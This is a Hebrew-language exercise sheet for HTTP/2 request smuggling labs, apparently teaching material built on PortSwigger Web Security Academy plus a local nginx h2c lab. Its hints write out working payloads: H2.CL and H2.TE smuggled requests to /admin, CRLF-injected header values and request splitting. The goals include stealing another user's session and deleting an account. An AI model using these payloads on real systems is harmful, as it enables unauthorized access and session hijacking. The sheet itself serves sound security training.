לדלג לתוכן

תקיפות HTTP/2 - תרגול

הקדמה

התרגולים מבוססים על מעבדות PortSwigger Web Security Academy בנושא HTTP/2 Request Smuggling. כל המעבדות דורשות שימוש ב-Burp Suite עם תמיכת HTTP/2 (גרסה 2023 ומעלה).


תרגיל 1 - הברחת H2.CL בסיסית (Practitioner)

מעבדה: H2.CL request smuggling

משימה:
1. פתחו את המעבדה ב-Burp Suite עם HTTP/2 מופעל
2. שלחו בקשת POST ב-HTTP/2 עם content-length: 0 ובגוף הבקשה הוסיפו בקשת GET מוברחת
3. הגישו גישה ל-/admin דרך ההברחה
4. מחקו את המשתמש carlos

רמז: ב-Burp Repeater, בחרו HTTP/2 ושלחו:

:method: POST
:path: /
:authority: <lab-url>
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: <lab-url>

תרגיל 2 - הברחת H2.TE (Practitioner)

מעבדה: H2.TE request smuggling

משימה:
1. שלחו בקשת HTTP/2 עם header transfer-encoding: chunked
2. השרת החזיתי לא אמור לאפשר header זו ב-HTTP/2, אבל אם הוא מעביר אותה - יש חולשה
3. הבריחו בקשה ל-/admin

רמז:

:method: POST
:path: /
:authority: <lab-url>
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: <lab-url>

תרגיל 3 - CRLF injection בheaders HTTP/2 (Practitioner)

מעבדה: HTTP/2 request smuggling via CRLF injection

משימה:
1. השתמשו בinjection CRLF בheader HTTP/2 כדי להוסיף header Transfer-Encoding
2. הheader תעבור ל-HTTP/1.1 בתרגום
3. הבריחו בקשה שתלכוד את ה-session של משתמש אחר

רמז: ב-Inspector של Burp, ערכו header כך שהערך יכלול \r\nTransfer-Encoding: chunked:

:method: POST
:path: /
:authority: <lab-url>
foo: bar\r\nTransfer-Encoding: chunked

תרגיל 4 - פיצול בקשות דרך CRLF (Practitioner)

מעבדה: HTTP/2 request splitting via CRLF injection

משימה:
1. הזריקו CRLF בheader פסאודו כדי לפצל את הבקשה לשתיים
2. הבקשה השנייה צריכה לפנות ל-/admin
3. לכדו את התגובה

רמז: הזריקו בגוף header HTTP/2:

foo: bar\r\n\r\nGET /admin HTTP/1.1\r\nHost: <lab-url>

תרגיל 5 - poisoning תור תגובות (Expert)

מעבדה: Response queue poisoning via H2.TE request smuggling

משימה:
1. השתמשו בהברחת H2.TE כדי לגרום ל-desync בתור התגובות
2. הבקשה המוברחת צריכה להיות בקשה מלאה שתקבל תגובה משלה
3. התגובה של הקורבן הבא תגיע אליכם, והתגובה שלכם תגיע לקורבן
4. לכדו טוקן session ומחקו את carlos

רמז: הבריחו בקשה מלאה (כולל כל הheaders) כדי שהשרת יחזיר שתי תגובות לחיבור אחד - התגובה הראשונה תהיה לבקשה המוברחת, והשנייה תהיה התגובה שמיועדת לקורבן.


תרגיל 6 - h2c Smuggling (מתקדם - לא PortSwigger)

משימה עצמאית:

הקימו סביבת בדיקה מקומית עם nginx כ-reverse proxy ושרת Python מאחוריו:

# nginx.conf
server {
    listen 80;
    location / {
        proxy_pass http://backend:8080;
        # Note: proxy_set_header Upgrade is not set
    }
    location /admin {
        return 403;
    }
}
# backend.py
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write(f"Path: {self.path}".encode())

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
  1. בדקו אם nginx מעביר את header Upgrade: h2c
  2. נסו לבצע h2c smuggling עם הכלי h2csmuggler
  3. גשו ל-/admin דרך חיבור h2c

תרגיל 7 - כתיבת סקריפט בדיקת HTTP/2

כתבו סקריפט Python שמבצע את הבדיקות הבאות:

#!/usr/bin/env python3
"""
Write a script that checks:
1. Whether the server supports HTTP/2
2. Whether Content-Length can be sent over HTTP/2
3. Whether Transfer-Encoding can be sent over HTTP/2
4. Whether CRLF can be injected in HTTP/2 headers
5. Whether the server accepts an h2c upgrade

Use the hyper or h2 Python library.
"""

משאבים נוספים

  • PortSwigger Research - HTTP/2: The Sequel is Always Worse: https://portswigger.net/research/http2
  • כלי h2csmuggler: https://github.com/BishopFox/h2csmuggler
  • HTTP/2 RFC 7540: https://tools.ietf.org/html/rfc7540